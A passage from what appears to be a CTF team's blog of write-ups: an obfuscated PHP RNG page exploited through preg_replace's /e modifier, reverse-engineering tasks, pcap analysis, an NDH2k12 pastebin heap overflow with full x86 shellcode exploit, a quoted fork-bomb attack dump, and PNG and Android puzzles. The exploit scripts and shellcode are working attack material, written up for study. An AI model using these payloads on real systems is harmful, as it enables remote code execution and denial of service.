        21      DO_FCALL                                      2  $8      'pack'
        22      BW_XOR                                           ~9      $6, $8
        23    > RETURN                                                   ~9
        24*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:    24

If you seek more informations about PHP opcodes, RTFM :)
We deduce what PHP is doing:

return str_repeat(md5(substr($param, 0, 8), true), ceil((strlen($param) - 8) / 16)) ^ pack("H*", substr($param, 8));

Now let's create a Python script to unobfuscate the whole file:

#!/usr/bin/env python2
 
import re
import hashlib
import math
 
def my_xor(arg1, arg2):
    length = min(len(arg1), len(arg2))
    res = ""
 
    for i in xrange(length):
        res += chr(ord(arg1[i]) ^ ord(arg2[i]))
 
    return res
 
def unobfuscate(match):
    s = match.group(1)
    arg1 = hashlib.md5(s[0:8]).digest() * int(math.ceil((len(s) - 8.0) / 16))
    arg2 = s[8:].decode("hex")
 
    return '"%s"' % my_xor(arg1, arg2)
 
 
txt = open('index.php.txt', 'r').read()
print re.sub('b\("([^"]+)"\)', unobfuscate, txt)

Output:

<?${"Gjx7QbQ4l3EL"}="array_key_exists";${"USVuYTejL3cA"}="preg_replace";${"lRzbPV0GVCmL"}="mt_rand";${"eU3WOwVfyB2j"}="printf";${"MFBEFx3icClz"}="range";${"KytnuQGCMhPA"}="pack";${"eU3WOwVfyB2j"}("<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>");if(${"Gjx7QbQ4l3EL"}("rng_seeds",${"_POST"})){${"LhfnDi9VtrJM"}=${"_POST"}["rng_seeds"];${"aKRml6aSjmxW"}=${"_POST"}["rng_algorithm"];${"SBBTqFwnO6s5"}="5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";if(${"aKRml6aSjmxW"}!=${"SBBTqFwnO6s5"})${"eU3WOwVfyB2j"}("wuut?! hacker detected!");else${"eU3WOwVfyB2j"}(${"USVuYTejL3cA"}("#\b(\d+)\b#se",${"KytnuQGCMhPA"}("H*",${"aKRml6aSjmxW"}),${"LhfnDi9VtrJM"}));}else{foreach(${"MFBEFx3icClz"}("1","5")as$_)${"eU3WOwVfyB2j"}(${"lRzbPV0GVCmL"}()."
");}${"eU3WOwVfyB2j"}("</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>
 </body>
</html>");function b($b){return eval([...])};

Better, isn't it?
We still have to manually fix a few things, mainly variable names, indentation and stuff... which finally gives us:

<?php
 
printf("<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
	  <textarea name='rng_seeds' cols=50 rows=10>");
 
if (array_key_exists("rng_seeds", $_POST))
{
	$ref = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
 
	if ($_POST['rng_algorithm'] != $ref)
		printf("wuut?! hacker detected!");
	else
		printf(preg_replace("#\b(\d+)\b#se",pack("H*", $_POST['rng_algorithm']), $_POST['rng_seeds']));
}
else
{
	foreach (range("1", "5") as $_)
		printf(mt_rand()."\n");
}
 
printf("</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>
 </body>
 </html>");
 
?>

Now we can work on it.

Step 2 - Sploit da vuln

Because it is lax, PHP's typing system is a mess. Hence a string composed of digits only is sometimes considered as an integer. We cannot use any other digit-based string, it must have the same length (except if we prefix it with 0's or spaces, but that's not quite useful...), and the first digits must be the same.
Thereby we find that:

"5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929"
==
"5368413128644154000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

Great job, PHP!

There is a vulnerability in the preg_replace, because it's using the 'e' PCRE modifier (more infos).

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.

But a problem arise: we are limited to a strict charset, which consists of only all ASCII characters for which the hexadecimal representation is composed only of digits.
That sound unrealistic, but if we look closer at the provided rng_algorithm, we understand that's correct:

>>> "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929".decode("hex")
'ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))'

Our payload must begin with 'ShA1(dAT', which is annoying as we will explain below.
Our charset is ! "#$%&'()0987654321@ABCDEFGHIPQRSTUVWXY`abcdefghipqrstuvwxy
We must now focus on how to read the flag.txt.gz file. Reading it via PHP functions seems hard, knowing that 'o' is not inside the charset (so, forget about fopen, file_get_contents etc...). However, we don't even have either ';' or '.' available!

Thus we will try to find a way to execute shell commands.
A good idea is to first list PHP functions and shell commands/binaries that comply with our charset.

<?php
 
function check_in_charset($func)
{
	$len = strlen($func);
 
	for ($i = 0; $i < $len; ++$i)
	{
		if (!is_numeric(bin2hex($func[$i])))
			return FALSE;
	}
 
	return TRUE;
}
 
$functions = array_filter(get_defined_functions()['internal'], "check_in_charset");
print join(', ', $functions);
 
?>

Output:

each, date, idate, getdate, ereg, eregi, hash, sha1, crc32, iptcparse, phpcredits, strrev, hebrev, hebrevc,
strstr, stristr, strrchr, substr, ucfirst, strtr, chr, strchr, exec, passthru, abs, pi, exp, sqrt, deg2rad, rad2deg,
hexdec, dechex, getrusage, header, gettype, settype, fgetc, fgets, fgetss, fread, fpassthru, fstat, fwrite,
fputs, fgetcsv, fputcsv, crypt, chdir, getcwd, readdir, dir, stat, chgrp, prev, reset, extract, assert, gettext,
dgettext, dcgettext

Same process for UNIX binaries, listing /bin/ and /usr/bin/.

Wow, we have 'exec()' in the list, sounds like a win? Not quite :(
Remember, we still have the 'ShA1(dAT' prefix, annoying us. We don't have ';' so we can't chain it easily with another function. However, we can use '&&'.

Therefore our payload will be "ShA1(dATe()) && FIXME".
The problem is that "exec()" returns its results as a string, so we can't do that.
... Unless ... we do something blind-like, based on substr? Nah you can forget that too, we don't even have ',' available...

Hopefully it is still exploitable, with passthru.

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

Bingo!
We must now find something to 'cat' the flag. No 'l', no 'o', no '*', not even '['. Forget 'ls', 'echo *', 'cat f*' etc.
However the 'dir' binary does the trick. It will list all files, but we can deal with it.
Our final payload will then look like this:

ShA1(dATe()) && passthru('cat `dir`')

It always looks easy once you have the answer ;)

The flag file is a tarball, so it's not a good idea to execute the command within a browser, we will have some issues while dumping its content.
We will instead do it via another python script:

#!/usr/bin/env python2
 
import urllib
 
URL = "http://securerng.misteryou.ru/index.php?fu=id"
 
PAYLOAD = "ShA1(dATe()) && passthru('cat `dir`')"
PAYLOAD += " " * (62 - len(PAYLOAD))
PAYLOAD = PAYLOAD.encode('hex')
 
params = urllib.urlencode({
    'rng_seeds': '1337',
    'rng_algorithm': PAYLOAD
})
 
open('outputz.gz', 'wb+').write(urllib.urlopen(URL, params).read())

Manually remove HTML tags from the file and execute gunzip outputz.gz.
We obtain a file that is chained base64 encoding of the password. Final Python script:

#!/usr/bin/env python2
 
txt = open("outputz", "r").read()
count = 0
 
while True:
    try:
        txt = txt.decode("base64")
        count += 1
 
        if ' ' in txt:
            print '[+] %d base64!' % count
            print '[+]', txt
            break
    except:
        print txt
        break
[+] 42 base64!
[+] flag: 36e03906042b7b266afa32bd1ea35445

Flag: 36e03906042b7b266afa32bd1ea35445

HackYou CTF - Reverse100, Reverse200, Reverse300 Writeups

Reverse 100 - Open-Source



Download file code.c.
Simply read the source...

% ./code `python2 -c 'print 0xcafe'` 25 h4cky0u
Brr wrrr grr
Get your key: c0ffee

Flag: c0ffee

Reverse 200 - LoseYou



Download file rev200.zip.

Extract the archive to obtain task2.bin and task2.exe.
I decided to study task2.bin.
The routine to reverse is sub_80483DC.
We quicky notice this:

hackyou_reverse200.png

That's very basic, eax will contain our guessed number, ecx will contain the randomly generated number.
All we need to do is to break on the "cmp eax, ecx" at 08048503 and set eax to ecx.

(gdb) b *0x08048503
Breakpoint 1 at 0x8048503
(gdb) r
Starting program: /tmp/task2.bin 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Welcome to the LoseYou lottery!
Generating random.....
Make your guess (number 0 or 1): tg
 
Breakpoint 1, 0x08048503 in ?? ()
(gdb) set $eax=$ecx
(gdb) c
Continuing.
You... you... win??? so lucky! Grab the flag:
::: oh_you_cheat3r :::
[Inferior 1 (process 27619) exited normally]
(gdb)

Flag: oh_you_cheat3r

Reverse 300 - ashtree



Download file rev300.zip.
Once again I decided to study the ELF version: task3.bin.

Step 1 - Unpack

The binary seems to be packed by a modified UPX (at least, UPX string is replaced by LOL...).
Let's trace execution:

% strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 34 vars */]) = 0
[ Process PID=5640 runs in 32 bit mode. ]
getpid()                                = 5640
gettimeofday({1350215641, 677903}, NULL) = 0
unlink("/tmp/upxCRBOGQOAFQI")           = -1 ENOENT (No such file or directory)
open("/tmp/upxCRBOGQOAFQI", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xf775a000
old_mmap(0xf775d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf775d000
munmap(0xfffffffff775a000, 9036)        = 0
close(3)                                = 0
open("/tmp/upxCRBOGQOAFQI", O_RDONLY)   = 3
getpid()                                = 5640
access("/proc/5640/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxCRBOGQOAFQI")           = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
execve("/proc/5640/fd/3", ["./task3.bin"], [/* 41 vars */]) = 0
[...]

The binary is unpacking itself into a file "/tmp/upxCRBOGQOAFQI", which is a randomly generated name. Then it is unlinked and executed by execve().

The unlink() function is guaranteed to unlink the file from the file system hierarchy but keep the file on disk until all open instances of the file are closed.

Once the execution is over, the file is deleted, so we need to find the file name, and copy the file elsewhere before it's unlinked. Let's toggle a breakpoint before execve() then.

(gdb) b *0x004024dd
Breakpoint 1 at 0x4024dd
(gdb) r
Starting program: /tmp/task3.bin 
 
Breakpoint 1, 0x004024dd in ?? ()
(gdb) x/s $ebx
0xffffd494:	"/proc/12767/fd/7"
(gdb)
% file /proc/12767/fd/7
/proc/12767/fd/7: broken symbolic link to `/tmp/upxC5RF3NOAMO5 (deleted)'

Ok! Now we can work on the unpacked binary.

Step 2 - Keygen

Our routine is sub_8048617.
Several conditions must be met:

  • - argv[1] = username
  • - argv[2] = password
  • - username != 'hackyou'
  • - len(password) == 14
  • - password[4] == '-' and password[8] == '-'
  • - sub_804838C(username, password) == True
  • - sub_804844B(username, password[5:]) == True
  • - sub_804850A(username, password[10:]) == True

Although our username must not be 'hackyou', if you take a look at sub_80485F0, the goodboy message, you'll notice it prints "Great! Now submit the license key for 'hackyou'".
sub_804838C, sub_804844B and sub_804850A all proceed in the same way, which finally compares individually 4 bytes of the given password parameter:

hackyou_rev300_ida.png

Our password character is in edx, the expected one is in eax. Lazy as i am, i didn't go much deeper :)

All we need now is to break on:

.text:0804842B                 cmp     eax, edx

... dump eax, and fix edx so that it will be equal to eax. Same for the two last routines. Let's create a basic pythonGDB script to do the work for us.

import gdb
 
passwd = ""
passwd_len = 0
 
def callback_username_condition():
    gdb.execute("set $eax=1")
 
def callback_compare_password():
    global passwd, passwd_len
 
    gdb.execute("set $edx=$eax")
 
    if passwd_len in (4, 9):
        passwd += '-'
        passwd_len += 1
 
    passwd += chr(gdb.parse_and_eval("$eax"))
    passwd_len += 1
 
    print "[+]", passwd
 
class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False
        )
        self.callback = callback
 
    def stop(self):
        self.callback()
 
        return False
 
HitBreakpoint("*0x08048665", callback_username_condition)
HitBreakpoint("*0x0804842B", callback_compare_password)
HitBreakpoint("*0x080484EA", callback_compare_password)
HitBreakpoint("*0x080485A9", callback_compare_password)

And run it...

(gdb) source script.py 
Breakpoint 1 at 0x8048665
Breakpoint 2 at 0x804842b
Breakpoint 3 at 0x80484ea
Breakpoint 4 at 0x80485a9
(gdb) r hackyou 0123-4567-8910
Starting program: /tmp/unpacked_rev300 hackyou 0123-4567-8910
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[+] k
[+] ke
[+] kec
[+] kecc
[+] kecc-h
[+] kecc-ha
[+] kecc-hac
[+] kecc-hack
[+] kecc-hack-y
[+] kecc-hack-yo
[+] kecc-hack-yo0
[+] kecc-hack-yo0u
Great! Now submit the license key for 'hackyou'
[Inferior 1 (process 14524) exited with code 01]
(gdb)

Flag: kecc-hack-yo0u

HackYou CTF - Packets100, Packets200, Packets300 Writeups

Epic Arc Mister You is willing to hire someone who can repeat his investigation. Arc starts from here

Part 1. Find the secret link in this conversation

Part 2. What's the md5 of the file being transferred?

Part 3. Find and solve it. It's up to you

Packets 100 - Epic Arc Pt.1



Download file epicark100.pcap.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.

% grep key *
message:message=some%20shit%20happend%20%20this%20sunday.%20i%20have%20downloaded%20this%20(key-http%3A%2F%2Ftinyurl.com%2F9qj5r4r)&to=%23hacku
message(2):message=oh%2C%20sry.%20key%20is%20tinyurl.com%2F8pdox5a&to=%23hacku

Key is in message(2), that's also the link to download Packets 300 challenge.

Flag: tinyurl.com/8pdox5a

Packets 200 - Epic Arc Pt.2



Download file epicark200.
Open with Wireshark. Notice a "Request: SIZE /tcp_serv.beam" on frame 11, and the answer: 3048 in frame 12.
Data transfer begin at frame 15 "Request: RETR /tcp_serv.beam".
Go to frame 17, Follow TCP stream, Save. Notice it displays a "Entire conversation (3048 bytes)", so we are all good.

% md5sum tcp_serv.beam  
77f92edb199815b17e2ff8da36e200df  tcp_serv.beam

Flag: 77f92edb199815b17e2ff8da36e200df

Packets 300 - Epic Arc Pt.3



Download file epicark300.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.
We find a ctf.exe file, we need to reverse it. Here is a summary of what it is doing:

  • - receive a 8 bytes key from the remote server : 159.253.22.174:3137
  • - key ^= '_hackme_'
  • - XOR "FlagRequest:omkesey" with key
  • - send this to the server
  • - receive the flag, XORed with key

At first I believed the flag would be within the provided packets.
Let's follow the TCP stream:

pkt300_screenshot1.png
Extract the red part and xor it with "FlagRequest:omkesey", we obtain the key.
Now we xor the last blue part with that key and obtain ... "someflag". #FAIL.

Let's launch ctf.exe with wine, and sniff it with wireshark. We obtain the stream below:

pkt300_screenshot2.png
Same process but this time we obtain: "Hire_m3_mister_U".

Flag: Hire_m3_mister_U

Tuesday, July 3 2012 12:03

NDH2k12 - Debriefing

baniere_ndh

We just participated in the "Nuit du Hack" CTFs the two last weekends. CTFs, with a "s", because there was two of them : a private and a public CTF. The 23 june was the "Nuit du Hack" event, and it was originally planned that the two CTFs take place here, in the same time, but unfortunately the public CTF was reported to the next weekend because of technical issues.



* Private CTF :

This was an attack/defense CTF ! Each team (13 in total) had a server with a dozen of services to patch/protect/attack.
We successfully exploited some webapp, and a so called "pastebin" challenge (a RCE caused by an overflow in a log parsing program), which played an important role in this CTF as we'll see :)

Unfortunately for us, at some time of the night (~ 3h30), almost all teams lost access to their VM, and without really knowing what was the cause of this situation, the staff decided to prematurely stop the CTF. So after validating our preciously keeped flags (~ 20 :p) we finished at the 2nd place with 4250pts, just behind HackerDom with 4960pts. This is not a bad score, but this left us with a slight taste of biterness when we latter learned what really happened : a team actually launched a fork bomb on the pastebin service (him again !) shutting down all the unpatched teams (More information : here(EN), here(EN), here(EN), here(EN), here(FR), here(FR) and here)

Since the pastebin was the one causing so much trouble, we wrote a little write-up that you can find here :)



scoreboard



* Public CTF :

So the public challenge was reported to the next weekend, and lasted 48h. This time it was a "classic" CTF, with some challenges to solve in categories like WebApp, Crackme, Forensics, Stegano or Crypto.
This time we finished 1st, with a total of 13710 points, by solving 23 out of 28 challenges \o/
You can find a few write ups here :



ranking_ndh_public.png



NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()

Monday, July 2 2012 21:08

NDH2k12-wargame Write-up What the file ?

Name What the file ?
Score 1000
Content While doing some forensics, an analyst found a weird file. Please help him.

We have this file unknown.bin

$ file unknown.bin.png
unknown.bin.png: PNG image data, CORRUPTED
$ pngcheck -vt7f unknown.bin
File: unknown.bin (1179008 bytes)
File is CORRUPTED.  It seems to have suffered EOL conversion.
It was probably transmitted in text mode.


Ok, it's a corrupted PNG that we have to patch.

We realized that the lengths and the chunks' names are affected by several alterations.

We begun by correcting those names and lengths for each chunk.

A quick reminder from the RFC 2083 about the chunk layout :

Length
	A 4-byte unsigned integer giving the number of bytes in the
	chunk's data field. The length counts only the data field, not
	itself, the chunk type code, or the CRC.  Zero is a valid
	length.  Although encoders and decoders should treat the length
	as unsigned, its value must not exceed (2^31)-1 bytes.

Chunk Type
	A 4-byte chunk type code.  For convenience in description and
	in examining PNG files, type codes are restricted to consist of
	uppercase and lowercase ASCII letters (A-Z and a-z, or 65-90
	and 97-122 decimal).  However, encoders and decoders must treat
	the codes as fixed binary values, not character strings.  For
	example, it would not be correct to represent the type code
	IDAT by the EBCDIC equivalents of those letters.  Additional
	naming conventions for chunk types are discussed in the next
	section.

Chunk Data
	The data bytes appropriate to the chunk type, if any.  This
	field can be of zero length.

CRC
	A 4-byte CRC (Cyclic Redundancy Check) calculated on the
	preceding bytes in the chunk, including the chunk type code and
	chunk data fields, but not including the length field. The CRC
	is always present, even for chunks containing no data.  See CRC
	algorithm (Section 3.4).

No apparent problem for IHDR, sBIT, pHYs, tEXt(Software) and IEND chunks.

For IDAT chunks, we can understand that they're 8192 bytes long.
We scripted the thing to patch the file from offset 0x6A each 8204 bytes (8192 + 4 + 4 + 4) to 00 00 20 00 49 44 41 54 (Length + "IDAT").

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 8192:  EOF while reading data


We almost got a proper and genuine png file from pngcheck's point of view, except the latest IDAT chunk. This is normal, as this chunk is the latest one and isn't 8192 bytes long.

We fixed this by correcting with that value : size until the end of file - IEND chunk (12 bytes) - checksum (4 bytes) = 5705 bytes (0x1649).

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 5705
  CRC error in chunk IDAT (actual 66b9b445, should be 68cf7786)
  chunk IEND at offset 0x11fd78, length 0



Weird, the checksum is not correct, unlike all the IDAT checksums so far...We'll see later.

As the image can be open with several editors, some others won't because of the latest chunk's checksum. Nevertheless, we can see our old Chuck Norris and only half of the flag.

wtf_chucknorris.png

650b0a5aa1ec4cea................

So at this time we have the first part of the flag...

The wrong checksum of the last IDAT is probably a good clue to get the second part of the flag.
At the end of the file, we can see above IEND chunk a ...zTX3..., maybe a zTXt chunk ? Let's give it a try...

The length will be 27 bytess, 0x1B.
We also changed the length of the last IDAT chunk, 5705 - 27 - 12 = 5666 that's to say 0x1622.

Excellent, this time no more problem with checksums.

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11e723, length 5666
  chunk zTXt at offset 0x11fd51, length 27:   keyword has control characters, keyword: x\DA\D3\D3C\05\96\A9\06\C9\16\A6I\86\86i\89I\A6\A6\C9f
    (compressed zTXt text)
  zTXt chunk contains one or more control characters
  chunk IEND at offset 0x11fd78, length 0



Then let's decompress the string with zlib.

#!/usr/bin/python
import zlib
 
print zlib.decompress("78 DA D3 D3 43 05 96 A9 06 C9 16 A6 49 86 86 69 89 49 A6 A6 C9 66 00 6D 17 07 6F".replace(" ","").decode("hex"))



................9e0c85b11fab55c6

w3ll done

NDH2k12-wargame Write-up CrackMe Android

File : NDH.apk

We were asked to reverse an Android application, coming as an APK file.

The first move was to get the Java source of that application with dex2jar in order to decompile the APK into a plain JAR file.

If you ever want more information about this step, check out that link http://tinyurl.com/blcp353.

Once we have the JAR file, we opened it with JD-GUI and located the main Activity, that is to say the entry point of an application.

Here's the code :

package com.app.ndh;
 
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TableLayout;
import android.widget.TextView;
 
public class NDHActivity extends Activity
{
  static
  {
    System.loadLibrary("verifyPass");
  }
 
  private native String print(String paramString);
 
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    TextView localTextView = new TextView(this);
    localTextView.setText("Enter the code to activate this software :");
    AlertDialog.Builder localBuilder1 = new AlertDialog.Builder(this);
    AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(false);
    1 local1 = new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
      }
    };
    AlertDialog.Builder localBuilder3 = localBuilder1.setPositiveButton("OK", local1);
    EditText localEditText = new EditText(this);
    localEditText.setInputType(0);
    Button localButton = new Button(this);
    localButton.setText("Activation");
    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
    2 local2 = new View.OnClickListener(localTelephonyManager, localBuilder1, localEditText)
    {
      public void onClick(View paramView)
      {
        if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
